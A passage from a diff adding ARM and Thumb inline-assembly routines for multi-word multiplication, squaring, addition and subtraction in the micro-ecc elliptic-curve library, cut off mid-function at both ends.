"adc r10, r10, #0 \n\t" \ + "str r14, [r0], #4 \n\t" \ + \ + "umull r11, r12, r4, r5 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adc r12, r12, r10 \n\t" \ + "stmia r0!, {r11, r12} \n\t" + +#define FAST_MULT_ASM_7_TO_8 \ + "cmp r3, #7 \n\t" \ + "beq 1f \n\t" \ + \ + /* r4 = left high, r5 = right high */ \ + "ldr r4, [r1] \n\t" \ + "ldr r5, [r2] \n\t" \ + \ + "sub r0, #28 \n\t" \ + "sub r1, #28 \n\t" \ + "sub r2, #28 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r4, r8 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r9, r9, r6 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "str r9, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r10, r10, r6 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r9, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "str r10, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r14, r14, r6 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "str r14, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r9, r9, r6 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r14, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "str r9, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r10, r10, r6 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r9, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "str r10, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r14, r14, r6 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "str r14, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r9, r9, r6 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + /* skip past already-loaded (r4, r5) */ \ + "ldr r7, [r1], #8 \n\t" \ + "ldr r8, [r2], #8 \n\t" \ + "mov r14, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "str r9, [r0], #4 \n\t" \ + \ + "umull r11, r12, r4, r5 \n\t" \ + "adds r11, r11, r10 \n\t" \ + "adc r12, r12, r14 \n\t" \ + "stmia r0!, {r11, r12} \n\t" + +#if (uECC_PLATFORM != uECC_arm_thumb) +uECC_VLI_API void uECC_vli_mult(uint32_t *result, + const uint32_t *left, + const uint32_t *right, + wordcount_t num_words) { + register uint32_t *r0 __asm__("r0") = result; + register const uint32_t *r1 __asm__("r1") = left; + register const uint32_t *r2 __asm__("r2") = right; + register uint32_t r3 __asm__("r3") = num_words; + + __asm__ volatile ( + ".syntax unified \n\t" + "push {r3} \n\t" + +#if (uECC_MIN_WORDS == 5) + FAST_MULT_ASM_5 + "pop {r3} \n\t" + #if (uECC_MAX_WORDS > 5) + FAST_MULT_ASM_5_TO_6 + #endif + #if (uECC_MAX_WORDS > 6) + FAST_MULT_ASM_6_TO_7 + #endif + #if (uECC_MAX_WORDS > 7) + FAST_MULT_ASM_7_TO_8 + #endif +#elif (uECC_MIN_WORDS == 6) + FAST_MULT_ASM_6 + "pop {r3} \n\t" + #if (uECC_MAX_WORDS > 6) + FAST_MULT_ASM_6_TO_7 + #endif + #if (uECC_MAX_WORDS > 7) + FAST_MULT_ASM_7_TO_8 + #endif +#elif (uECC_MIN_WORDS == 7) + FAST_MULT_ASM_7 + "pop {r3} \n\t" + #if (uECC_MAX_WORDS > 7) + FAST_MULT_ASM_7_TO_8 + #endif +#elif (uECC_MIN_WORDS == 8) + FAST_MULT_ASM_8 + "pop {r3} \n\t" +#endif + + "1: \n\t" + RESUME_SYNTAX + : "+r" (r0), "+r" (r1), "+r" (r2) + : "r" (r3) + : "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12", "r14", "cc", "memory" + ); +} +#define asm_mult 1 + +#if uECC_SQUARE_FUNC + +#define FAST_SQUARE_ASM_5_TO_6 \ + "cmp r2, #5 \n\t" \ + "beq 1f \n\t" \ + \ + /* r3 = high */ \ + "ldr r3, [r1] \n\t" \ + \ + "sub r0, #20 \n\t" \ + "sub r1, #20 \n\t" \ + \ + /* Do off-center multiplication */ \ + "ldr r14, [r1], #4 \n\t" \ + "umull r4, r5, r3, r14 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r7, r6, r3, r14 \n\t" \ + "adds r5, r5, r7 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r8, r7, r3, r14 \n\t" \ + "adcs r6, r6, r8 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r9, r8, r3, r14 \n\t" \ + "adcs r7, r7, r9 \n\t" \ + /* Skip already-loaded r3 */ \ + "ldr r14, [r1], #8 \n\t" \ + "umull r10, r9, r3, r14 \n\t" \ + "adcs r8, r8, r10 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + \ + /* Multiply by 2 */ \ + "mov r10, #0 \n\t" \ + "adds r4, r4, r4 \n\t" \ + "adcs r5, r5, r5 \n\t" \ + "adcs r6, r6, r6 \n\t" \ + "adcs r7, r7, r7 \n\t" \ + "adcs r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + \ + /* Add into previous */ \ + "ldr r14, [r0] \n\t" \ + "adds r4, r4, r14 \n\t" \ + "str r4, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r5, r5, r14 \n\t" \ + "str r5, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r6, r6, r14 \n\t" \ + "str r6, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r7, r7, r14 \n\t" \ + "str r7, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r8, r8, r14 \n\t" \ + "str r8, [r0], #4 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + \ + /* Perform center multiplication */ \ + "umull r4, r5, r3, r3 \n\t" \ + "adds r4, r4, r9 \n\t" \ + "adc r5, r5, r10 \n\t" \ + "stmia r0!, {r4, r5} \n\t" + +#define FAST_SQUARE_ASM_6_TO_7 \ + "cmp r2, #6 \n\t" \ + "beq 1f \n\t" \ + \ + /* r3 = high */ \ + "ldr r3, [r1] \n\t" \ + \ + "sub r0, #24 \n\t" \ + "sub r1, #24 \n\t" \ + \ + /* Do off-center multiplication */ \ + "ldr r14, [r1], #4 \n\t" \ + "umull r4, r5, r3, r14 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r7, r6, r3, r14 \n\t" \ + "adds r5, r5, r7 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r8, r7, r3, r14 \n\t" \ + "adcs r6, r6, r8 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r9, r8, r3, r14 \n\t" \ + "adcs r7, r7, r9 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r10, r9, r3, r14 \n\t" \ + "adcs r8, r8, r10 \n\t" \ + /* Skip already-loaded r3 */ \ + "ldr r14, [r1], #8 \n\t" \ + "umull r11, r10, r3, r14 \n\t" \ + "adcs r9, r9, r11 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + \ + /* Multiply by 2 */ \ + "mov r11, #0 \n\t" \ + "adds r4, r4, r4 \n\t" \ + "adcs r5, r5, r5 \n\t" \ + "adcs r6, r6, r6 \n\t" \ + "adcs r7, r7, r7 \n\t" \ + "adcs r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + \ + /* Add into previous */ \ + "ldr r14, [r0] \n\t" \ + "adds r4, r4, r14 \n\t" \ + "str r4, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r5, r5, r14 \n\t" \ + "str r5, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r6, r6, r14 \n\t" \ + "str r6, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r7, r7, r14 \n\t" \ + "str r7, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r8, r8, r14 \n\t" \ + "str r8, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "str r9, [r0], #4 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + \ + /* Perform center multiplication */ \ + "umull r4, r5, r3, r3 \n\t" \ + "adds r4, r4, r10 \n\t" \ + "adc r5, r5, r11 \n\t" \ + "stmia r0!, {r4, r5} \n\t" + +#define FAST_SQUARE_ASM_7_TO_8 \ + "cmp r2, #7 \n\t" \ + "beq 1f \n\t" \ + \ + /* r3 = high */ \ + "ldr r3, [r1] \n\t" \ + \ + "sub r0, #28 \n\t" \ + "sub r1, #28 \n\t" \ + \ + /* Do off-center multiplication */ \ + "ldr r14, [r1], #4 \n\t" \ + "umull r4, r5, r3, r14 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r7, r6, r3, r14 \n\t" \ + "adds r5, r5, r7 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r8, r7, r3, r14 \n\t" \ + "adcs r6, r6, r8 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r9, r8, r3, r14 \n\t" \ + "adcs r7, r7, r9 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r10, r9, r3, r14 \n\t" \ + "adcs r8, r8, r10 \n\t" \ + "ldr r14, [r1], #4 \n\t" \ + "umull r11, r10, r3, r14 \n\t" \ + "adcs r9, r9, r11 \n\t" \ + /* Skip already-loaded r3 */ \ + "ldr r14, [r1], #8 \n\t" \ + "umull r12, r11, r3, r14 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + \ + /* Multiply by 2 */ \ + "mov r12, #0 \n\t" \ + "adds r4, r4, r4 \n\t" \ + "adcs r5, r5, r5 \n\t" \ + "adcs r6, r6, r6 \n\t" \ + "adcs r7, r7, r7 \n\t" \ + "adcs r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adcs r12, r12, #0 \n\t" \ + \ + /* Add into previous */ \ + "ldr r14, [r0] \n\t" \ + "adds r4, r4, r14 \n\t" \ + "str r4, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r5, r5, r14 \n\t" \ + "str r5, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r6, r6, r14 \n\t" \ + "str r6, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r7, r7, r14 \n\t" \ + "str r7, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r8, r8, r14 \n\t" \ + "str r8, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "str r9, [r0], #4 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "str r10, [r0], #4 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adcs r12, r12, #0 \n\t" \ + \ + /* Perform center multiplication */ \ + "umull r4, r5, r3, r3 \n\t" \ + "adds r4, r4, r11 \n\t" \ + "adc r5, r5, r12 \n\t" \ + "stmia r0!, {r4, r5} \n\t" + +uECC_VLI_API void uECC_vli_square(uECC_word_t *result, + const uECC_word_t *left, + wordcount_t num_words) { + register uint32_t *r0 __asm__("r0") = result; + register const uint32_t *r1 __asm__("r1") = left; + register uint32_t r2 __asm__("r2") = num_words; + + __asm__ volatile ( + ".syntax unified \n\t" + "push {r1, r2} \n\t" + +#if (uECC_MIN_WORDS == 5) + FAST_SQUARE_ASM_5 + "pop {r1, r2} \n\t" + #if (uECC_MAX_WORDS > 5) + "add r1, #20 \n\t" + FAST_SQUARE_ASM_5_TO_6 + #endif + #if (uECC_MAX_WORDS > 6) + FAST_SQUARE_ASM_6_TO_7 + #endif + #if (uECC_MAX_WORDS > 7) + FAST_SQUARE_ASM_7_TO_8 + #endif +#elif (uECC_MIN_WORDS == 6) + FAST_SQUARE_ASM_6 + "pop {r1, r2} \n\t" + #if (uECC_MAX_WORDS > 6) + "add r1, #24 \n\t" + FAST_SQUARE_ASM_6_TO_7 + #endif + #if (uECC_MAX_WORDS > 7) + FAST_SQUARE_ASM_7_TO_8 + #endif +#elif (uECC_MIN_WORDS == 7) + FAST_SQUARE_ASM_7 + "pop {r1, r2} \n\t" + #if (uECC_MAX_WORDS > 7) + "add r1, #28 \n\t" + FAST_SQUARE_ASM_7_TO_8 + #endif +#elif (uECC_MIN_WORDS == 8) + FAST_SQUARE_ASM_8 + "pop {r1, r2} \n\t" +#endif + + "1: \n\t" + RESUME_SYNTAX + : "+r" (r0), "+r" (r1) + : "r" (r2) + : "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12", "r14", "cc", "memory" + ); +} +#define asm_square 1 +#endif /* uECC_SQUARE_FUNC */ + +#endif /* uECC_PLATFORM != uECC_arm_thumb */ + +#endif /* (uECC_OPTIMIZATION_LEVEL >= 3) */ + +/* ---- "Small" implementations ---- */ + +#if !asm_add +uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + uint32_t carry = 0; + uint32_t left_word; + uint32_t right_word; + + __asm__ volatile ( + ".syntax unified \n\t" + "1: \n\t" + "ldmia %[lptr]!, {%[left]} \n\t" /* Load left word. */ + "ldmia %[rptr]!, {%[right]} \n\t" /* Load right word. */ + "lsrs %[carry], #1 \n\t" /* Set up carry flag (carry = 0 after this). */ + "adcs %[left], %[left], %[right] \n\t" /* Add with carry. */ + "adcs %[carry], %[carry], %[carry] \n\t" /* Store carry bit. */ + "stmia %[dptr]!, {%[left]} \n\t" /* Store result word. */ + "subs %[ctr], #1 \n\t" /* Decrement counter. */ + "bne 1b \n\t" /* Loop until counter == 0. */ + RESUME_SYNTAX + : [dptr] REG_RW (result), [lptr] REG_RW (left), [rptr] REG_RW (right), + [ctr] REG_RW (num_words), [carry] REG_RW (carry), + [left] REG_WRITE (left_word), [right] REG_WRITE (right_word) + : + : "cc", "memory" + ); + return carry; +} +#define asm_add 1 +#endif + +#if !asm_sub +uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + uint32_t carry = 1; /* carry = 1 initially (means don't borrow) */ + uint32_t left_word; + uint32_t right_word; + + __asm__ volatile ( + ".syntax unified \n\t" + "1: \n\t" + "ldmia %[lptr]!, {%[left]} \n\t" /* Load left word. */ + "ldmia %[rptr]!, {%[right]} \n\t" /* Load right word. */ + "lsrs %[carry], #1 \n\t" /* Set up carry flag (carry = 0 after this). */ + "sbcs %[left], %[left], %[right] \n\t" /* Subtract with borrow. */ + "adcs %[carry], %[carry], %[carry] \n\t" /* Store carry bit. */ + "stmia %[dptr]!, {%[left]} \n\t" /* Store result word. */ + "subs %[ctr], #1 \n\t" /* Decrement counter. */ + "bne 1b \n\t" /* Loop until counter == 0. */ + RESUME_SYNTAX + : [dptr] REG_RW (result), [lptr] REG_RW (left), [rptr] REG_RW (right), + [ctr] REG_RW (num_words), [carry] REG_RW (carry), + [left] REG_WRITE (left_word), [right] REG_WRITE (right_word) + : + : "cc", "memory" + ); + return !carry; +} +#define asm_sub 1 +#endif + +#if !asm_mult +uECC_VLI_API void uECC_vli_mult(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { +#if (uECC_PLATFORM != uECC_arm_thumb) + uint32_t c0 = 0; + uint32_t c1 = 0; + uint32_t c2 = 0; + uint32_t k = 0; + uint32_t i; + uint32_t t0, t1; + + __asm__ volatile ( + ".syntax unified \n\t" + + "1: \n\t" /* outer loop (k < num_words) */ + "movs %[i], #0 \n\t" /* i = 0 */ + "b 3f \n\t" + + "2: \n\t" /* outer loop (k >= num_words) */ + "movs %[i], %[k] \n\t" /* i = k */ + "subs %[i], %[last_word] \n\t" /* i = k - (num_words - 1) (times 4) */ + + "3: \n\t" /* inner loop */ + "subs %[t0], %[k], %[i] \n\t" /* t0 = k-i */ + + "ldr %[t1], [%[right], %[t0]] \n\t" /* t1 = right[k - i] */ + "ldr %[t0], [%[left], %[i]] \n\t" /* t0 = left[i] */ + + "umull %[t0], %[t1], %[t0], %[t1] \n\t" /* (t0, t1) = left[i] * right[k - i] */ + + "adds %[c0], %[c0], %[t0] \n\t" /* add low word to c0 */ + "adcs %[c1], %[c1], %[t1] \n\t" /* add high word to c1, including carry */ + "adcs %[c2], %[c2], #0 \n\t" /* add carry to c2 */ + + "adds %[i], #4 \n\t" /* i += 4 */ + "cmp %[i], %[last_word] \n\t" /* i > (num_words - 1) (times 4)? */ + "bgt 4f \n\t" /* if so, exit the loop */ + "cmp %[i], %[k] \n\t" /* i <= k? */ + "ble 3b \n\t" /* if so, continue looping */ + + "4: \n\t" /* end inner loop */ + + "str %[c0], [%[result], %[k]] \n\t" /* result[k] = c0 */ + "mov %[c0], %[c1] \n\t" /* c0 = c1 */ + "mov %[c1], %[c2] \n\t" /* c1 = c2 */ + "movs %[c2], #0 \n\t" /* c2 = 0 */ + "adds %[k], #4 \n\t" /* k += 4 */ + "cmp %[k], %[last_word] \n\t" /* k <= (num_words - 1) (times 4) ? */ + "ble 1b \n\t" /* if so, loop back, start with i = 0 */ + "cmp %[k], %[last_word], lsl #1 \n\t" /* k <= (num_words * 2 - 2) (times 4) ? */ + "ble 2b \n\t" /* if so, loop back, start with i = (k + 1) - num_words */ + /* end outer loop */ + + "str %[c0], [%[result], %[k]] \n\t" /* result[num_words * 2 - 1] = c0 */ + RESUME_SYNTAX + : [c0] "+r" (c0), [c1] "+r" (c1), [c2] "+r" (c2), + [k] "+r" (k), [i] "=&r" (i), [t0] "=&r" (t0), [t1] "=&r" (t1) + : [result] "r" (result), [left] "r" (left), [right] "r" (right), + [last_word] "r" ((num_words - 1) * 4) + : "cc", "memory" + ); + +#else /* Thumb-1 */ + uint32_t r4, r5, r6, r7; + + __asm__ volatile ( + ".syntax unified \n\t" + "subs %[r3], #1 \n\t" /* r3 = num_words - 1 */ + "lsls %[r3], #2 \n\t" /* r3 = (num_words - 1) * 4 */ + "mov r8, %[r3] \n\t" /* r8 = (num_words - 1) * 4 */ + "lsls %[r3], #1 \n\t" /* r3 = (num_words - 1) * 8 */ + "mov r9, %[r3] \n\t" /* r9 = (num_words - 1) * 8 */ + "movs %[r3], #0 \n\t" /* c0 = 0 */ + "movs %[r4], #0 \n\t" /* c1 = 0 */ + "movs %[r5], #0 \n\t" /* c2 = 0 */ + "movs %[r6], #0 \n\t" /* k = 0 */ + + "push {%[r0]} \n\t" /* keep result on the stack */ + + "1: \n\t" /* outer loop (k < num_words) */ + "movs %[r7], #0 \n\t" /* r7 = i = 0 */ + "b 3f \n\t" + + "2: \n\t" /* outer loop (k >= num_words) */ + "movs %[r7], %[r6] \n\t" /* r7 = k */ + "mov %[r0], r8 \n\t" /* r0 = (num_words - 1) * 4 */ + "subs %[r7], %[r0] \n\t" /* r7 = i = k - (num_words - 1) (times 4) */ + + "3: \n\t" /* inner loop */ + "push {%[r3], %[r4], %[r5], %[r6]} \n\t" /* push things, r3 (c0) is at the top of stack. */ + "subs %[r0], %[r6], %[r7] \n\t" /* r0 = k - i */ + + "ldr %[r4], [%[r2], %[r0]] \n\t" /* r4 = right[k - i] */ + "ldr %[r0], [%[r1], %[r7]] \n\t" /* r0 = left[i] */ + + "lsrs %[r3], %[r0], #16 \n\t" /* r3 = a1 */ + "uxth %[r0], %[r0] \n\t" /* r0 = a0 */ + + "lsrs %[r5], %[r4], #16 \n\t" /* r5 = b1 */ + "uxth %[r4], %[r4] \n\t" /* r4 = b0 */ + + "movs %[r6], %[r3] \n\t" /* r6 = a1 */ + "muls %[r6], %[r5], %[r6] \n\t" /* r6 = a1 * b1 */ + "muls %[r3], %[r4], %[r3] \n\t" /* r3 = b0 * a1 */ + "muls %[r5], %[r0], %[r5] \n\t" /* r5 = a0 * b1 */ + "muls %[r0], %[r4], %[r0] \n\t" /* r0 = a0 * b0 */ + + "movs %[r4], #0 \n\t" /* r4 = 0 */ + "adds %[r3], %[r5] \n\t" /* r3 = b0 * a1 + a0 * b1 */ + "adcs %[r4], %[r4] \n\t" /* r4 = carry */ + "lsls %[r4], #16 \n\t" /* r4 = carry << 16 */ + "adds %[r6], %[r4] \n\t" /* r6 = a1 * b1 + carry */ + + "lsls %[r4], %[r3], #16 \n\t" /* r4 = (b0 * a1 + a0 * b1) << 16 */ + "lsrs %[r3], #16 \n\t" /* r3 = (b0 * a1 + a0 * b1) >> 16 */ + "adds %[r0], %[r4] \n\t" /* r0 = low word = a0 * b0 + ((b0 * a1 + a0 * b1) << 16) */ + "adcs %[r6], %[r3] \n\t" /* r6 = high word = + a1 * b1 + carry + ((b0 * a1 + a0 * b1) >> 16) */ + + "pop {%[r3], %[r4], %[r5]} \n\t" /* r3 = c0, r4 = c1, r5 = c2 */ + "adds %[r3], %[r0] \n\t" /* add low word to c0 */ + "adcs %[r4], %[r6] \n\t" /* add high word to c1, including carry */ + "movs %[r0], #0 \n\t" /* r0 = 0 (does not affect carry bit) */ + "adcs %[r5], %[r0] \n\t" /* add carry to c2 */ + + "pop {%[r6]} \n\t" /* r6 = k */ + + "adds %[r7], #4 \n\t" /* i += 4 */ + "cmp %[r7], r8 \n\t" /* i > (num_words - 1) (times 4)? */ + "bgt 4f \n\t" /* if so, exit the loop */ + "cmp %[r7], %[r6] \n\t" /* i <= k? */ + "ble 3b \n\t" /* if so, continue looping */ + + "4: \n\t" /* end inner loop */ + + "ldr %[r0], [sp, #0] \n\t" /* r0 = result */ + + "str %[r3], [%[r0], %[r6]] \n\t" /* result[k] = c0 */ + "mov %[r3], %[r4] \n\t" /* c0 = c1 */ + "mov %[r4], %[r5] \n\t" /* c1 = c2 */ + "movs %[r5], #0 \n\t" /* c2 = 0 */ + "adds %[r6], #4 \n\t" /* k += 4 */ + "cmp %[r6], r8 \n\t" /* k <= (num_words - 1) (times 4) ? */ + "ble 1b \n\t" /* if so, loop back, start with i = 0 */ + "cmp %[r6], r9 \n\t" /* k <= (num_words * 2 - 2) (times 4) ? */ + "ble 2b \n\t" /* if so, loop back, with i = (k + 1) - num_words */ + /* end outer loop */ + + "str %[r3], [%[r0], %[r6]] \n\t" /* result[num_words * 2 - 1] = c0 */ + "pop {%[r0]} \n\t" /* pop result off the stack */ + + ".syntax divided \n\t" + : [r3] "+l" (num_words), [r4] "=&l" (r4), + [r5] "=&l" (r5), [r6] "=&l" (r6), [r7] "=&l" (r7) + : [r0] "l" (result), [r1] "l" (left), [r2] "l" (right) + : "r8", "r9", "cc", "memory" + ); +#endif +} +#define asm_mult 1 +#endif + +#if uECC_SQUARE_FUNC +#if !asm_square +uECC_VLI_API void uECC_vli_square(uECC_word_t *result, + const uECC_word_t *left, + wordcount_t num_words) { +#if (uECC_PLATFORM != uECC_arm_thumb) + uint32_t c0 = 0; + uint32_t c1 = 0; + uint32_t c2 = 0; + uint32_t k = 0; + uint32_t i, tt; + uint32_t t0, t1; + + __asm__ volatile ( + ".syntax unified \n\t" + + "1: \n\t" /* outer loop (k < num_words) */ + "movs %[i], #0 \n\t" /* i = 0 */ + "b 3f \n\t" + + "2: \n\t" /* outer loop (k >= num_words) */ + "movs %[i], %[k] \n\t" /* i = k */ + "subs %[i], %[last_word] \n\t" /* i = k - (num_words - 1) (times 4) */ + + "3: \n\t" /* inner loop */ + "subs %[tt], %[k], %[i] \n\t" /* tt = k-i */ + + "ldr %[t1], [%[left], %[tt]] \n\t" /* t1 = left[k - i] */ + "ldr %[t0], [%[left], %[i]] \n\t" /* t0 = left[i] */ + + "umull %[t0], %[t1], %[t0], %[t1] \n\t" /* (t0, t1) = left[i] * right[k - i] */ + + "cmp %[i], %[tt] \n\t" /* (i < k - i) ? */ + "bge 4f \n\t" /* if i >= k - i, skip */ + "lsls %[t1], #1 \n\t" /* high word << 1 */ + "adc %[c2], %[c2], #0 \n\t" /* add carry bit to c2 */ + "lsls %[t0], #1 \n\t" /* low word << 1 */ + "adc %[t1], %[t1], #0 \n\t" /* add carry bit to high word */ + + "4: \n\t" + + "adds %[c0], %[c0], %[t0] \n\t" /* add low word to c0 */ + "adcs %[c1], %[c1], %[t1] \n\t" /* add high word to c1, including carry */ + "adcs %[c2], %[c2], #0 \n\t" /* add carry to c2 */ + + "adds %[i], #4 \n\t" /* i += 4 */ + "cmp %[i], %[k] \n\t" /* i >= k? */ + "bge 5f \n\t" /* if so, exit the loop */ + "subs %[tt], %[k], %[i] \n\t" /* tt = k - i */ + "cmp %[i], %[tt] \n\t" /* i <= k - i? */ + "ble 3b \n\t" /* if so, continue looping */ + + "5: \n\t" /* end inner loop */ + + "str %[c0], [%[result], %[k]] \n\t" /* result[k] = c0 */ + "mov %[c0], %[c1] \n\t" /* c0 = c1 */ + "mov %[c1], %[c2] \n\t" /* c1 = c2 */ + "movs %[c2], #0 \n\t" /* c2 = 0 */ + "adds %[k], #4 \n\t" /* k += 4 */ + "cmp %[k], %[last_word] \n\t" /* k <= (num_words - 1) (times 4) ? */ + "ble 1b \n\t" /* if so, loop back, start with i = 0 */ + "cmp %[k], %[last_word], lsl #1 \n\t" /* k <= (num_words * 2 - 2) (times 4) ? */ + "ble 2b \n\t" /* if so, loop back, start with i = (k + 1) - num_words */ + /* end outer loop */ + + "str %[c0], [%[result], %[k]] \n\t" /* result[num_words * 2 - 1] = c0 */ + RESUME_SYNTAX + : [c0] "+r" (c0), [c1] "+r" (c1), [c2] "+r" (c2), + [k] "+r" (k), [i] "=&r" (i), [tt] "=&r" (tt), [t0] "=&r" (t0), [t1] "=&r" (t1) + : [result] "r" (result), [left] "r" (left), [last_word] "r" ((num_words - 1) * 4) + : "cc", "memory" + ); + +#else + uint32_t r3, r4, r5, r6, r7; + + __asm__ volatile ( + ".syntax unified \n\t" + "subs %[r2], #1 \n\t" /* r2 = num_words - 1 */ + "lsls %[r2], #2 \n\t" /* r2 = (num_words - 1) * 4 */ + "mov r8, %[r2] \n\t" /* r8 = (num_words - 1) * 4 */ + "lsls %[r2], #1 \n\t" /* r2 = (num_words - 1) * 8 */ + "mov r9, %[r2] \n\t" /* r9 = (num_words - 1) * 8 */ + "movs %[r2], #0 \n\t" /* c0 = 0 */ + "movs %[r3], #0 \n\t" /* c1 = 0 */ + "movs %[r4], #0 \n\t" /* c2 = 0 */ + "movs %[r5], #0 \n\t" /* k = 0 */ + + "push {%[r0]} \n\t" /* keep result on the stack */ + + "1: \n\t" /* outer loop (k < num_words) */ + "movs %[r6], #0 \n\t" /* r6 = i = 0 */ + "b 